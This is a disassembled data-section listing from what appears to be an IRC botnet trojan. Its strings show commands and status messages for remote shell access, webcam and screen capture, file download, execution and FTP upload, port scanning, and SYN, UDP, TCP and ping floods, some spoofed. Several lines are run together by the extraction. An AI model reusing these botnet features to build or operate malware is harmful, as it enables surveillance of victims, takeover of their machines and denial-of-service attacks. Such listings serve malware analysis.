db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401B66+7B0Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 10h
unk_42AD50 db 2Dh ; - ; DATA XREF: sub_401B66+7AEBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
dword_42AD74 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401B66+7ACEo
dd 2E732520h, 0
unk_42AD90 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4095BEo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
unk_42ADBC db 2Dh ; - ; DATA XREF: sub_401B66+7A51o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 10h
unk_42ADE0 db 2Dh ; - ; DATA XREF: sub_401B66:loc_40957Ao
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_42AE08 db 2Dh ; - ; DATA XREF: sub_401B66+7A0Ao
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 10h
aAll db 'all',0 ; DATA XREF: sub_401B66+79F0o
unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401B66+78E6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_42AE5C db 2Dh ; - ; DATA XREF: sub_401B66:loc_409433o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_42AE80 db 2Dh ; - ; DATA XREF: sub_401B66+78C3o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_42AEA0 db 2Dh ; - ; DATA XREF: sub_401B66+7896o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_42AEC8 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4093DCo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 10h
unk_42AEF0 db 2Dh ; - ; DATA XREF: sub_401B66+784Bo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 10h
unk_42AF10 db 2Dh ; - ; DATA XREF: sub_401B66:loc_409374o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 10h
unk_42AF40 db 2Dh ; - ; DATA XREF: sub_401B66+7804o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_42AF60 db 2Dh ; - ; DATA XREF: sub_401B66:loc_409316o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_42AF90 db 2Dh ; - ; DATA XREF: sub_401B66+77A9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_42AFB4 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401B66+775Eo
dd 27732527h, 2Eh
unk_42AFD0 db 2Dh ; - ; DATA XREF: sub_401B66+772Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0
align 4
unk_42B00C db 2Dh ; - ; DATA XREF: sub_401B66+76D6o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_42B030 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401B66+7662o
dd 0
unk_42B048 db 2Dh ; - ; DATA XREF: sub_401B66+762Eo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_42B088 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401B66+75D5o
dd 2Eh
dword_42B0A0 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401B66:loc_409092o
dd 746E6573h, 2Eh
unk_42B0BC db 2Dh ; - ; DATA XREF: sub_401B66+7525o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42B0DC dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401B66+74E6o
dd 732520h
unk_42B0F4 db 2Dh ; - ; DATA XREF: sub_401B66+74DEo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 10h
asc_42B120: ; DATA XREF: sub_401B66+74C0o
; sub_40FF08+FAo ...
dw 0Ah
unicode 0, <>,0
unk_42B124 db 2Dh ; - ; DATA XREF: sub_401B66+7496o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 4
unk_42B148 db 2Dh ; - ; DATA XREF: sub_401B66+7480o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_42B16C db 2Dh ; - ; DATA XREF: sub_401B66:loc_408F6Bo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 10h
unk_42B1B0 db 2Dh ; - ; DATA XREF: sub_401B66:loc_408F61o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_42B1F0 db 2Dh ; - ; DATA XREF: sub_401B66+73E8o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 4
aVideo db 'video',0 ; DATA XREF: sub_401B66:loc_408EC0o
align 4
unk_42B224 db 2Dh ; - ; DATA XREF: sub_401B66:loc_408EADo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 4
unk_42B25C db 2Dh ; - ; DATA XREF: sub_401B66:loc_408EA6o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 10h
unk_42B290 db 2Dh ; - ; DATA XREF: sub_401B66+7330o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: sub_401B66:loc_408E1Fo
align 4
unk_42B2C4 db 2Dh ; - ; DATA XREF: sub_401B66+72ACo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
unk_42B2EC db 2Dh ; - ; DATA XREF: sub_401B66+7279o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
aDrivers db 'drivers',0 ; DATA XREF: sub_401B66:loc_408D92o
unk_42B31C db 2Dh ; - ; DATA XREF: sub_401B66:loc_408D7Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_42B358 db 2Dh ; - ; DATA XREF: sub_401B66:loc_408D78o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
unk_42B388 db 2Dh ; - ; DATA XREF: sub_401B66+7202o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: sub_401B66:loc_408D37o
align 4
dword_42B3BC dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401B66+71B9o
dd 2E732520h, 0
unk_42B3D8 db 2Dh ; - ; DATA XREF: sub_401B66:loc_408CDCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
unk_42B408 db 2Dh ; - ; DATA XREF: sub_401B66+7160o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 10h
unk_42B430 db 2Dh ; - ; DATA XREF: sub_401B66+70BDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 10h
unk_42B450 db 2Dh ; - ; DATA XREF: sub_401B66+707Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 10h
unk_42B470 db 2Dh ; - ; DATA XREF: sub_401B66+7023o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_42B48C dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401B66+6FB4o
dword_42B4A0 dd 54524150h, 0D732520h, 0Ah ; sub_401B66+7ADBo
unk_42B4AC db 2Dh ; - ; DATA XREF: sub_401B66+6F50o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+6F42o
align 4
dword_42B4D4 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401B66+6F17o
dd 25203A29h, 73h
dword_42B4F0 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401B66+6EABo
dd 203A2973h, 7325h
dword_42B50C dd 45444F4Dh, 732520hdword_42B514 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401B66+6E23o
dd 203A2973h, 7325h
dword_42B530 dd 4E494F4Ah, 20732520h, 7325hdword_42B53C dd 0A0D7325h, 0 ; sub_401B66+6E04o ...
dword_42B544 dd 54524150h, 732520hdword_42B54C dd 234032Dh, 67726174h, 3023361haFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42B588 dd 234032Dh, 67726174h, 3023361haFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_42B5B4 db 2Dh ; - ; DATA XREF: sub_401B66+6C24o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42B5F0 db 2Dh ; - ; DATA XREF: sub_401B66+6BCBo
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42B624 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4086CEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
dword_42B658 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_401B66+6B2Do
dd 7325h
dword_42B670 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401B66:loc_4085FFo
dword_42B684 dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; sub_401B66+6B07o ...
dword_42B698 dd 234032Dh, 61647075h, 3026574haBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 10h
dword_42B6E0 dd 234032Dh, 61647075h, 3026574haFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42B71C dd 234032Dh, 61647075h, 3026574haDownloadingUpd db '- Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401B66+68E9o
align 4
dword_42B754 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401B66+688Ao
dd 7325203Ah, 0
unk_42B770 db 2Dh ; - ; DATA XREF: sub_401B66+687Fo
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42B794 db 2Dh ; - ; DATA XREF: sub_401B66+67CDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42B7D0 db 2Dh ; - ; DATA XREF: sub_401B66+6769o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 10h
dword_42B800 dd 234032Dh, 656C6966h, 2D0302h ; sub_401B66:loc_4092CBo
unk_42B80C db 2Dh ; - ; DATA XREF: sub_401B66+66B6o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_42B830 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4081FAo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42B868 db 2Dh ; - ; DATA XREF: sub_401B66+6675o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42B8A0 db 2Dh ; - ; DATA XREF: sub_401B66+6611o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42B8CC dd 234032Dh, 6E6F6C63h, 3027365haFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42B908 dd 234032Dh, 6E6F6C63h, 3027365haCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42B938 db 2Dh ; - ; DATA XREF: sub_401B66+6485o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42B970 db 2Dh ; - ; DATA XREF: sub_401B66+6429o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42B9A0 db 2Dh ; - ; DATA XREF: sub_401B66+638Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42B9D8 db 2Dh ; - ; DATA XREF: sub_401B66+6331o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42BA08 db 2Dh ; - ; DATA XREF: sub_401B66+62A6o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42BA40 db 2Dh ; - ; DATA XREF: sub_401B66+624Ao
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42BA7C db 2Dh ; - ; DATA XREF: sub_401B66+61BFo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_42BABC db 2Dh ; - ; DATA XREF: sub_401B66+6166o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42BAE8 db 2Dh ; - ; DATA XREF: sub_401B66+6085o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42BB2C db 2Dh ; - ; DATA XREF: sub_401B66+602Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42BB68 db 2Dh ; - ; DATA XREF: sub_401B66+5F33o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401B66+5EAFo
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401B66+5DADo
align 4
dword_42BBC4 dd 54434101h, 204E4F49h, 17325h ; sub_401B66+7000o
unk_42BBD0 db 2Dh ; - ; DATA XREF: sub_401B66+5CA3o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_42BC10 db 2Dh ; - ; DATA XREF: sub_401B66+5C4Ao
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_42BC60 db 2Dh ; - ; DATA XREF: sub_401B66+5B9Eo
; sub_401B66+5F8Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42BC98 db 2Dh ; - ; DATA XREF: sub_401B66+5B45o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 10h
unk_42BD00 db 2Dh ; - ; DATA XREF: sub_401B66+59CFo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_11 db 'Failed to start scan, no IP specified.',0
align 4
unk_42BD34 db 2Dh ; - ; DATA XREF: sub_401B66+5972o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start scan, port is invalid.',0
align 4
unk_42BD68 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4073B7o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42BD98 db 2Dh ; - ; DATA XREF: sub_401B66+584Ao
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401B66+5831o
aSS_3 db '-s:%s',0 ; DATA XREF: sub_401B66+581Ao
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401B66+57FAo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401B66+57D6o
; sub_41226B+4Eo
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401B66+57C5o
align 4
unk_42BE08 db 2Dh ; - ; DATA XREF: sub_401B66+576Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401B66+5749o
align 10h
unk_42BE30 db 2Dh ; - ; DATA XREF: sub_401B66+5713o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 10h
unk_42BE70 db 2Dh ; - ; DATA XREF: sub_401B66+56CBo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42BEA8 db 2Dh ; - ; DATA XREF: sub_401B66+5672o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 10h
unk_42BEF0 db 2Dh ; - ; DATA XREF: sub_401B66+55C4o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401B66+5590o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42BF58 db 2Dh ; - ; DATA XREF: sub_401B66+556Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 10h
unk_42BF90 db 2Dh ; - ; DATA XREF: sub_401B66+54BCo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401B66+549Fo
align 4
unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401B66+5475o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_14 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42C020 db 2Dh ; - ; DATA XREF: sub_401B66+541Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
unk_42C068 db 2Dh ; - ; DATA XREF: sub_401B66:loc_406EB2o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 10h
unk_42C0A0 db 2Dh ; - ; DATA XREF: sub_401B66+5330o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401B66+52CCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401B66+52BCo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401B66+52B5o
unk_42C11C db 2Dh ; - ; DATA XREF: sub_401B66+5220o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
aRandom_0 db 'random',0 ; DATA XREF: sub_401B66+5210o
; sub_41444D+2FDo
align 10h
aAck db 'ack',0 ; DATA XREF: sub_401B66+51F9o
; sub_41444D+2DDo
aHcon db 'hcon',0 ; DATA XREF: sub_401B66+5183o
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401B66+5170o
unk_42C164 db 2Dh ; - ; DATA XREF: sub_401B66+5121o
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401B66+50ADo
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401B66+4FC2o
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401B66+4FABo
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401B66+4F94o
align 4
aP: ; DATA XREF: sub_401B66+4F7Do
; .packed:0043A8E0o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401B66+4F66o
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401B66+4F4Fo
align 4
aNs db 'ns',0 ; DATA XREF: sub_401B66+4F38o
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401B66+4F21o
aU: ; DATA XREF: sub_401B66+4F0Ao
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401B66+4EF3o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401B66+4EDCo
align 4
aAsc db 'asc',0 ; DATA XREF: sub_401B66+4EC5o
aAdvscan db 'advscan',0 ; DATA XREF: sub_401B66+4EAEo
aPsc db 'psc',0 ; DATA XREF: sub_401B66+4E97o
aPortscan db 'portscan',0 ; DATA XREF: sub_401B66+4E80o
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401B66+4E5Ao
aC_action db 'c_action',0 ; DATA XREF: sub_401B66+4E43o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401B66+4E2Co
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401B66+4E15o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401B66+4DFEo
align 4
aScan db 'scan',0 ; DATA XREF: sub_401B66+4DE7o
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401B66+4DD0o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401B66+4DB9o
align 10h
aD1909 db 'd1909',0 ; DATA XREF: sub_401B66+4DA2o
align 4
aDownload909 db 'download909',0 ; DATA XREF: sub_401B66+4D8Bo
aWonk db 'wonk',0 ; DATA XREF: sub_401B66+4D74o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401B66+4D5Do
align 4
dword_42C2A8 dd 234032Dh, 73796B73h, 3026E79haFailedToSta_16 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42C2E4 dd 234032Dh, 73796B73h, 3026E79haFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401B66+4C5Fo
align 4
aSyn db 'syn',0 ; DATA XREF: sub_401B66+4C48o
; sub_401B66+51E1o ...
aSynflood db 'synflood',0 ; DATA XREF: sub_401B66+4C31o
align 4
unk_42C32C db 2Dh ; - ; DATA XREF: sub_401B66+4C0Fo
db 3, 34h, 2
